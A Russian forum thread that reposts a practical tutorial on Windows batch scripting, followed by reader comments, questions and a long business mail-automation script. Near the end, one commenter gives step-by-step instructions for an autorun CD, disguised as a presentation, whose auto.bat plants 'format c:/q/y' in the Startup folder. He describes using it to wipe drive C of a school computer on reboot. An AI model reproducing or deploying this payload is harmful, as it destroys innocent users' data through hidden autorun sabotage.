![]() |
Урок bat-аники
Введение
Мы все любим писать серьезные вещи на серьезных языках. Шаблоны, C++, Reflection, Perl и многое другое – вот то, что мы любим, то, чему посвящаем длинные сообщения в форумах, то, что снится нам по ночам. Однако в нашей повседневной деятельности встречаются и вещи, которые не так интересны и интеллектуальны. Мы не очень любим говорить об этом, делаем вид, что Это – грязно, нечистоплотно и недостойно нашего внимания. Однако, приходит день, приходит час и перст Судьбы находит нас – нам надо написать еще один батничек… Иногда это запускалка для построения проекта, которая должна при ошибке компиляции скопировать логи на сетевой диск, иногда – запуск обновления исходных текстов из SVN. Иногда – что-нибудь еще. К чему я это все? А к тому, что поговорим мы о полезных хитростях при написании файлов сценариев на встроенном командном языке Windows. К счастью, это занятие не является доминирующим в профессиональной деятельности автора, так что я не обязуюсь заполнить абсолютно все пробелы в данной области. Кроме того, рожденный ползать летать не может, и из cmd.exe, увы, не получится ни /usr/bin/perl, ни даже /bin/sh. Так что, все нижеприведенное – просто некоторые интересные факты из жизни файлов с расширением bat, на которые автор обратил внимание во время решения различных практических задач автоматизации. Наш урок будет построен по сугубо практическому принципу, известному в народе как Cookbook. Иными словами, я не буду вдаваться в синтаксические и семантические дебри командного языка Windows, а лишь продемонстрирую его возможности (хотел написать «мощь», но все-таки передумал). Именно поэтому большинство следующих заголовков будет начинаться со слова «Как». Впрочем, для полноты по ходу развития событий будут даваться подробные комментарии, в том числе и по языковым конструкциям. ПРЕДУПРЕЖДЕНИЕ Практически все описанные здесь рецепты подойдут только для Windows 2000 и старше. Bat-язык Windows 9x, к счастью, можно считать почившим, так что здесь он не рассматривается. Более того, диалекты cmd.exe операционных систем Windows 2000, Windows XP и Windows Server 2003 также немного различаются. Все приведенное ниже создано и проверено на компьютере под управлением операционной системы Windows XP. За подробной информацией по различиям в реализации той или иной команды обращайтесь к [1]. Как экранировать символ? В командном языке Windows существует некоторый набор символов с высоким приоритетом, которые всегда трактуются как спецсимволы. К ним, в частности, относятся:
В случае если символ, относящийся к одному из таких операторов, должен быть включен в вашу команду в его литеральном смысле, вас ждут определенные неожиданности. Например, при выполнении вот такой строки Код:
echo The ratio should be up to 10%.Код:
echo The ratio should be up to 10%%.Код:
@echo offКод:
> was unexpected at this time.Код:
echo "<html>" >%OUTPUTFILE%К счастью, есть один малоизвестный способ, позволяющий добиться требуемого результата. Символ ^ позволяет экранировать любой другой символ с безусловным приоритетом. Таким образом, вышеприведенный пример генерации HTML может быть успешно записан так: Код:
@echo offКак перенести длинную строку? Совет по поводу экранирующего символа ^ имеет еще одно применение: перенос строк. Я (как и многие из вас, наверное) люблю, чтобы любой исходный текст, который я пишу, выглядел красиво – даже *.bat-файлы. Одним из обязательных условий красоты и удобочитаемости кода для меня является его ширина: все строки должны умещаться в 78 столбцов. Можно поспорить по поводу числа 78, но в одном я непреклонен – ограничение на ширину текста кода должно быть, иначе это не код, а макароны. Так вот долгое время *.bat-файлы портили мне жизнь тем, что иногда приходилось писать длинную строку – например, вызов какой-нибудь другой программы с кучей опций, и я не знал, что с этим делать. Происходило это нечасто, но всегда было неприятно. Но, к счастью, моя жизнь изменилась с тех пор, как я открыл для себя Супер-Символ ^: Код:
packagebin.exe --recursive-search=yes --files-mask=exe,dll,pdb,obj ^Как определить имя каталога, в котором находится запущенный командный файл? Иногда сценарию надо знать полный путь к себе самому и/или к каталогу, в котором он находится. Это может понадобиться по разным причинам. Например, он должен достать из системы контроля версий исходники в каталог <script-dir>/src рядом с собой. Или, запускаются тесты из каталога <script-dir>/tests, и перед их запуском надо добавить каталог <script-dir>/bin в переменную PATH. Можно, конечно, рассчитывать на то, что командный файл был вызван из того же каталога, где он находится, и тогда в качестве вышеупомянутого <script-dir> можно использовать переменную окружения %CD% - полный путь к текущему каталогу. Однако любые допущения в нашем деле недопустимы (хороший каламбур, однако!). Поэтому приведу более надежное решение. Прежде всего, вспоминаем, что переменная %0 в bat-файле соответствует нулевому аргументу командной строки, т.е. имени самого файла. После этого читаем скудную документацию для команды call: Код:
call /?Код:
%~1 - разворачивает %1, удаляя кавычки (")Код:
Модификаторы можно объединять для получения сложных результатов:Код:
"%~dp0\packagebin.exe" --recursive-search=yes --files-mask=exe,dll,pdb,obj ^ПРЕДУПРЕЖДЕНИЕ Опасайтесь бездумного применения команды cd %~dp0 без проверки результата выполнения. Теоретически, эта команда должна сменить текущий каталог на каталог, в котором расположен командный файл. Как правило, это работает. Однако возможны неожиданности. Однажды был написан простой командный сценарий, задача которого была просто удалить все каталоги рядом с собой. В «свою» директорию он переходил как раз через cd %~dp0. Все было проверено на локальной машине – работало замечательно. После этого сценарий был помещен на файл-сервер, где ему и полагалось быть. Я зашел с помощью Far в сетевой каталог, и для контрольной проверки решил запустить файл еще раз. Дальнейшее словно в тумане. cmd.exe правильно определил местонахождение bat-файла: \\servername\sharename\directory. Однако при попытке сделать туда cd, он сказал, что UNC-пути в качестве текущих каталогов не поддерживаются и лучше он сменит текущий каталог на C:\WINDOWS… Это было действительно мудрое решение… Часть сценария, отвечавшая за удаление всех каталогов, сработала отлично – хорошо, что я успел вовремя остановить это безумие. В тот день я узнал, что такое System Restore… Как получить короткое (8.3) имя файла? «А зачем? – спросите вы – Ведь мы живем в мире Интернета, Web-сервисов и NTFS с длинными именами файлов». Это действительно так, но иногда встречаются программы, которые отчаянно сопротивляются прогрессу, и в частности, не любят имен файлов и полных путей с пробелами. Одной из таких программ, кстати, является утилита build.exe из Windows DDK… В таких ситуациях спасает использование короткого, «беспробельного» DOS-имени для файла. ПРЕДУПРЕЖДЕНИЕ Доступ к файлу по короткому имени может быть не всегда возможен. На файловой системе NTFS создание коротких псевдонимов для файлов может быть отключено путем установки в единицу значения «NtfsDisable8dot3NameCreation» в ключе реестра «HKEY_LOCAL_MACHINE\System\CurrentControlSet\Cont rol\FileSystem». Итак, все же (в предположении, что надругательства над NTFS не было) – как? Внимательный читатель должен был заметить в предыдущем разделе, что при обращении к переменным %0 - %9 можно использовать префикс Код:
%~s1 - expanded path contains short names onlyКод:
for /d %%i in ("%PROGRAMFILES%") do (Код:
for /?Плоха та короткая программа, которая не стремится стать большой. К сожалению, это правило применимо и к командным файлам Windows тоже – иногда bat-файлы вырастают до довольно больших размеров. Если при этом результат выполняемых команд должен журналироваться, то все становится совсем плохо – почти каждая строка имеет хвостик типа Код:
echo Cleaning up the target directory >>%LOGFILE%Код:
@echo offТакое «единовременное» перенаправление имеет и еще один неочевидный плюс: файл открывается и закрывается только один раз, и всем командам и дочерним процессам передается дескриптор уже открытого файла. Во-первых, это чуть-чуть улучшит производительность (жизнь удалась – сроду бы не подумал, что буду когда-нибудь писать о производительности в bat-файлах). Во-вторых, это поможет избежать проблемы с невозможностью открыть файл для записи. Такое может случиться, если после выполнения одной из команд останется «висеть» какой-нибудь процесс. Он будет держать дескриптор интересующего нас файла и перенаправление вывода в этот файл для всех последующих команд провалится. Проблема может показаться надуманной, но однажды она украла у меня 2 часа жизни… Как сложить два числа? Краткий ответ – смотри: Код:
set /?Код:
@echo offДа, можно. Более того, иногда даже нужно. Правда, функциями это можно назвать условно. Есть особый синтаксис команды call, который позволяет перейти на метку в этом же bat-файле с запоминанием места, откуда был произведен этот вызов: Код:
call :метка аргументыКод:
exit /b [опциональный код возврата]За подробностями обращайтесь к: Код:
call /?Код:
@echo offКод:
> factorial.bat 10 |
Как можно избежать использования goto?
Любой хоть сколько-то осмысленный *.bat-файл длиной больше 50 строк является ярким лозунгом в поддержку работы Дейкстры «О вреде оператора goto». Мешанина из переходов вперед и назад действительно является кодом «только для записи». Можно ли что-то предпринять по этому поводу? На самом деле можно. Как правило, большинство меток и переходов используются для организации ветвлений при проверке условий, т.е. банальных if-then-else блоков. В оригинале, bat-язык поддерживал только одну команду в блоке then, что автоматически приводило к идиомам вида: Код:
if condition goto :THENКод:
if condition (Код:
@echo offКод:
if "%BUILDMODE%" == "debug" (Решается эта проблема путем использования отложенного раскрытия переменных. Переменные, заключенные в !…! вместо %…%, будут раскрыты в их значения только в момент непосредственного использования. Данный режим по умолчанию отключен. Включить его можно либо использованием ключа /V:ON при вызове cmd.exe, либо использованием команды Код:
setlocal enabledelayedexpansionС учетом сказанного предыдущий «неправильный» пример может быть исправлен так: Код:
setlocal enabledelayedexpansionНо в любом случае, это гораздо лучше безумного количества меток и переходов. Как обработать текстовый файл? Иногда в командном файле необходимо получить доступ к содержимому некоторого текстового файла и некоторым образом это содержимое обработать. Например, прочитать файл настроек программы. Для привнесения еще большей конкретики в процесс изучения зададимся целью прочитать файл с настройками следующего содержания: Код:
# Это простой файл с настройкамиКод:
@echo offКод:
for /?Код:
@echo offЧто это за упомянутые ранее операторы объединения команд? Это операторы &, && и ||. Они практически совсем не освещены в документации, но полезны в повседневности. Они позволяют объединять несколько команд в одну, т.е. примерно так: Код:
command1 & command2Код:
command1Код:
cd sources && make cleanКод:
cd sources || exit 1Можно ли написать на bat-языке серьезную программу? Пожалуй, нет. Серьезная программа должна все-таки выглядеть серьезно. А все написанное на командном языке Windows таковым назвать можно лишь с о-о-о-чень большой натяжкой. Так что для решения более сложных задач автоматизации лучше все-таки взять что-нибудь более функциональное:
Последние, кстати, присутствуют в Windows 2000/XP по умолчанию (с некоторыми функциональными различиями) и в целом могут считаться заменой *.bat языку. Однако сдается мне, что *.bat-файлы проживут еще очень долго. Дай Бог, чтобы я ошибся… © Автор: Алексей Александров Источник: RSDN Magazine #2-2005 статейку на sql.ru нашел. |
У меня вопрос. Я пишу в батник следующий код:
@echo off copy text.txt %SystemRoot%\text.txt -- и он копирует это в системную директорию А когда я пищу это: @echo off copy text.txt %ProgramFiles%\text.txt --то он выдает ошибку типа неправильный синтаксис. По сути он должен был копировать text.txt в папку Program Files но не копирует. Почему?7 |
Цитата:
Смотри тут http://oszone.net/display.php?id=3673 |
За статью а респект а Aggrassor как я наю а наю очень плохо ) нельзя писать programfiles% попробуй полный путь!
|
Цитата:
|
очень-очень нужный, находящий использование в реале, способ.
супер. |
Да статя кльовая вот я думаю чот похожое бросить...
|
про функции было интересно почитать. спасибо
|
Trampled_Clover
Спасибо. Оказывается непоставил кавычек. |
спасибо
|
cy4_1o1ka
Респект за статью! Сам писал? |
Цитата:
|
молоток! ватники необходимы для сосуществования..... респект
|
Здраствуйте, у меня есть проблема в насписании bat файла. Существует лог из bat файл а в котором есть примерно вот такие записи:
__________________________________________________ ___________________ *** c:\PRIMER\serdyuk\LAW#000177_52.QST Скопировано файлов: 1. *** c:\PRIMER\serzh\LAW#000177_60.QST c:\PRIMER\serzh\LAW#000177_70.QST Скопировано файлов: 2. *** c:\PRIMER\froot\LAW#000177_50.QST Скопировано файлов: 1. *** c:\PRIMER\root\LAW#000177_61.QST c:\PRIMER\root\LAW#000177_67.QST c:\PRIMER\root\LAW#000177_65.QST Скопировано файлов: 3. __________________________________________________ ___________________ Есть еще набор папок с именами serzh, serdyuk, root, froot - в общем то что находится после слова "PRIMER". Мне необходимо с помощью bat файла взять QST файлы и поместить их в тот каталог, который указан в логе, то есть все QST файлы хранятся в одном каталоге, но необходимо их раскидать по папкам но только тудаже, откуда они пришли, чтобы лишние QST не попадали не в свои каталоги. В крайнем случае можно даже сделать одинаковую длинну имен юзеров (папок), тогда путь в логе всегда будет имет одинаковую длинну. |
Что то подобное делалось в этом bat файле
__________________________________________________ _________________________ color 4f rem ***************** Создадим каталог, если нет , для обновлений ***************** set fname=%1 set address=%2 set dirname=%fname:~-10,-3% set basename=%fname:~0,3% set regbase=%fname:~0,7% rem ********************** Подкорректируем переменные ***************************** IF %basename%==RLA set basename=%regbase% IF %basename%==MLA set basename=MLAW IF %basename%==DOC set basename=DOCS IF %basename%==QUE set basename=QUEST mkdir e:\Qst9\Qst_mail\Send\%address% f: cd \ cd veda_r\ConsProf IF %basename%==RLAW977 cd f:\veda_r\AdygBase IF %basename%==RLAW392 cd f:\veda_r\ConsSochi IF %basename%==NUR cd f:\veda_r\Arbns IF %basename%==NPV cd f:\veda_r\Arbns IF %basename%==NSK cd f:\veda_r\Arbns IF %basename%==NSZ cd f:\veda_r\Arbns IF %basename%==NDV cd f:\veda_r\Arbns IF %basename%==NMS cd f:\veda_r\Arbns IF %basename%==NZS cd f:\veda_r\Arbns IF %basename%==NVS cd f:\veda_r\Arbns IF %basename%==NVV cd f:\veda_r\Arbns IF %basename%==NCN cd f:\veda_r\Arbns IF %basename%==SCN cd f:\veda_r\Arbvo IF %basename%==SDV cd f:\veda_r\Arbvo IF %basename%==SMS cd f:\veda_r\Arbvo IF %basename%==SPV cd f:\veda_r\Arbvo IF %basename%==SSK cd f:\veda_r\Arbvo IF %basename%==SSZ cd f:\veda_r\Arbvo IF %basename%==SUR cd f:\veda_r\Arbvo IF %basename%==SVS cd f:\veda_r\Arbvo IF %basename%==SVV cd f:\veda_r\Arbvo IF %basename%==SZS cd f:\veda_r\Arbvo rem ******************************* Отработаем запросы **************************** cons.exe /adm /yes /base_%basename% /answer /RECEIVEDIR=e:\Qst9\Qst_mail\Receive /SENDDIR=e:\Qst9\Qst_mail\Send\%address% /USERSDIR=e:\Qst9\Qst_mail\Users /yes rem ******************************* Теперь упакуем пополнения ********************* e: cd \ cd Qst9\Qst_mail\Send\%address% IF exist *.r* del /Q *.r* e:\Send_Int\rar.exe a -v600k -df %basename%.rar *.ans echo ****************** и отправим по почте каждый архив с пополнениями ************ rem =================== Занесём адрес в НАШ лог отработки запросов ============================ echo Запрос --- %fname% --- >>e:\Qst9\Qst_mail\logs\qst_mail.log echo Получившиеся архивы пополнений:>>e:\Qst9\Qst_mail\logs\qst_m ail.log dir /B *.* >>e:\Qst9\Qst_mail\logs\qst_mail.log echo ================================================== =============================================>>e:\ Qst9\Qst_mail\logs\qst_mail.log IF not exist *.r* goto ERRQST for %%a in (*.r*) do e:\Qst9\Qst_mail\postie.exe -host:"192.168.0.74" -to:%address% -from:"RIC ConsultantPlus <quest@consultant.kuban.ru>" -org:" RIC177 " -s:"Update from RIC177 for "%fname%" : "%%a -uue -high -ns -owner:"RIC177" -charset:"koi8-r" -hide -nomsg -log:e:\QST9\Qst_mail\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:%%a chcp 1251 date /T >e:\qst9\qst_mail\answer.txt time /T >>e:\qst9\qst_mail\answer.txt chcp 866 echo На quest@consultant.kuban.ru от %address% пришло письмо, содержащее запрос %fname% . >>e:\qst9\qst_mail\answer.txt echo Адрес quest@consultant.kuban.ru предназначен для отработки запросов баз КонсультантПлюс Технологии3000 Серии 200.>>e:\qst9\qst_mail\answer.txt echo ================================================== ========================== >>e:\qst9\qst_mail\answer.txt echo Ваш запрос %fname% благополучно отработался.>>e:\qst9\qst_mail\answer.t xt echo Вам выслано пополнение содержащееся в следующих архивных файлах: >>e:\qst9\qst_mail\answer.txt echo ---------------------------------------------------------------------------->>e:\qst9\qst_mail\answer.txt dir /B *.r* >>e:\qst9\qst_mail\answer.txt echo ---------------------------------------------------------------------------->>e:\qst9\qst_mail\answer.txt echo Вопросы, касающиеся пополнения баз КонсультантПлюс просим направлять в технический отдел по адресу: soft@consultant.kuban.ru . >>e:\qst9\qst_mail\answer.txt echo Или по телефонам: (861) 268-56-65 , 262-58-25 .>>e:\qst9\qst_mail\answer.txt echo ================================================== ========================== >>e:\qst9\qst_mail\answer.txt echo С уважением, технический отдел РИЦ-177.>>e:\qst9\qst_mail\answer.txt echo soft@consultant.kuban.ru>>e:\qst9\qst_mail\answer. txt echo Наш web-сайт: http://www.consultant.kuban.ru >>e:\qst9\qst_mail\answer.txt goto ONEXIT :ERRQST chcp 1251 date /T >e:\qst9\qst_mail\answer.txt time /T >>e:\qst9\qst_mail\answer.txt chcp 866 echo На quest@consultant.kuban.ru от %address% пришло письмо, содержащее файл %fname%. >>e:\qst9\qst_mail\answer.txt echo Адрес quest@consultant.kuban.ru предназначен для отработки запросов баз КонсультантПлюс Технологии3000 Серии 200.>>e:\qst9\qst_mail\answer.txt echo ================================================== ========================== >>e:\qst9\qst_mail\answer.txt echo Ваши запросы не могут отработаться по следующим причинам: >>e:\qst9\qst_mail\answer.txt echo 1. Ваша база соответствует эталонной базе РИЦ. >>e:\qst9\qst_mail\answer.txt echo 2. Ваши запросы содержат ошибку или не принадлежат к базам Технологии3000 >>e:\qst9\qst_mail\answer.txt echo и не могут правильно отработаться. >>e:\qst9\qst_mail\answer.txt echo 3. Ваши базы отключены от сопровождения. >>e:\qst9\qst_mail\answer.txt echo Отправка Вам обновления информационного банка не представляется возможной. >>e:\qst9\qst_mail\answer.txt echo 4. Ваш запрос превышает объём 2 Мб. >>e:\qst9\qst_mail\answer.txt echo За разъяснениями просим обращаться в технический отдел по адресу: soft@consultant.kuban.ru . >>e:\qst9\qst_mail\answer.txt echo Или по телефонам: (861) 268-56-65 , 262-58-25 .>>e:\qst9\qst_mail\answer.txt echo ================================================== ========================== >>e:\qst9\qst_mail\answer.txt echo С уважением, технический отдел РИЦ-177.>>e:\qst9\qst_mail\answer.txt echo soft@consultant.kuban.ru>>e:\qst9\qst_mail\answer. txt echo Наш web-сайт: http://www.consultant.kuban.ru >>e:\qst9\qst_mail\answer.txt :ONEXIT e:\Qst9\Qst_mail\postie.exe -host:"192.168.0.74" -to:%address% -from:"RIC ConsultantPlus <quest@consultant.kuban.ru>" -org:" RIC177 " -s:"Answer for "%fname%" from RIC177" -uue -high -ns -owner:"RIC177" -charset:"dos866" -hide -file:e:\qst9\qst_mail\answer.txt -log:e:\QST9\Qst_mail\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:e:\qst9\qst_mail\answer.txt -notify e:\Qst9\Qst_for_Kur_wks\postie.exe -host:"192.168.0.74" -to:admin@consultant.kuban.ru -from:"RIC ConsultantPlus <quest@consultant.kuban.ru>" -org:" RIC177 " -s:"Answer (QST) for "%fname%" from RIC177" -uue -high -ns -owner:"RIC177" -charset:"dos866" -hide -file:e:\qst9\qst_for_Kur_wks\answer.txt -log:e:\QST9\Qst_for_Kur_wks\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:e:\qst9\qst_for_Kur_wks\answer.txt color exit __________________________________________________ _______________________ Но воспроизвести это в своей задаче у меня не получилось :( Может быть кто нибудь что то подскажет? А вот откуда как я сделал 1ю часть, т.е. откуда МОЙ лог берется: __________________________________________________ _______________________ @echo off for /f "usebackq delims==" %%i in (`"dir "c:\PRIMER\" /ad /b"`) do ^ echo ***>>c:\temp\log.txt ^ & copy /y c:\PRIMER\%%i\ c:\temp\>>c:\temp\log.txt rem pause __________________________________________________ _______________________ Это я к тому что лог можно немного изменять если это каким либо образом критично. |
Пробую сделать через Find что то не очень получается :( параметр найденый никуда не передается, а так бы было замечательно загнать его в переменную, ограничить с начала наименования и с конца длинну и все....
|
Ну вот bat-вирус даже есть:
Код:
@echo off%[virus]%P.S. Может кому такое западло пригодится. |
Мда, познавательно..
Кстати, насчет бат-вирусов, я тут на днях отчаянно пытался пронести на школьный комп сидюк с презентацией и встроенным бат файлом, провоцирующем формат с на следующий день после применения.. Если кому интересно, вот инструкция к созданию и применению. Берем, например, сд-р, пихаем на него файл Aoutorun.ini с содержимым: open=auto.bat и файл auto.bat, с содержимым: @echo off if exist e:\auto.bat echo format c:/q/y > e:\auto.bat C:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto .bat * if exist d:\auto.bat echo format c:/q/y > d:\auto.bat c:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto .bat * if exist f:\auto.bat echo format c:/q/y > f:\auto.bat C:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto .bat * * C:\Docume~\AllUsers\Mainmenu\Programs\Startup\ - нерабочий путь, т.к. не досовский, а может даже неправильный=)). Настоящий берется вот как: берется какая-нибудь досовская прога(например, lines) и копируется(exe-шный файл) в C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузк а, затем отправить его из этой папки на рабочий стол(создать ярлык), искомый досовский путь можно посмотреть в свойствах ярлыка. В итоге достаточно вставить такой диск в сидюк, и при перезагрузке отформатируется диск C: =)) Все это дело точно работает в winXP,насчет 2000го не уверен, насчет 9x абсолютно уверен, что не работает. Если кто знает, как организовать автозапуск в файла в 2000, скажите, плиз, сечас вообще офигенно нужно! |
Ой вам ненадоело)) баты это прошлый век, екзешники же рулят)
|
| Время: 22:42 |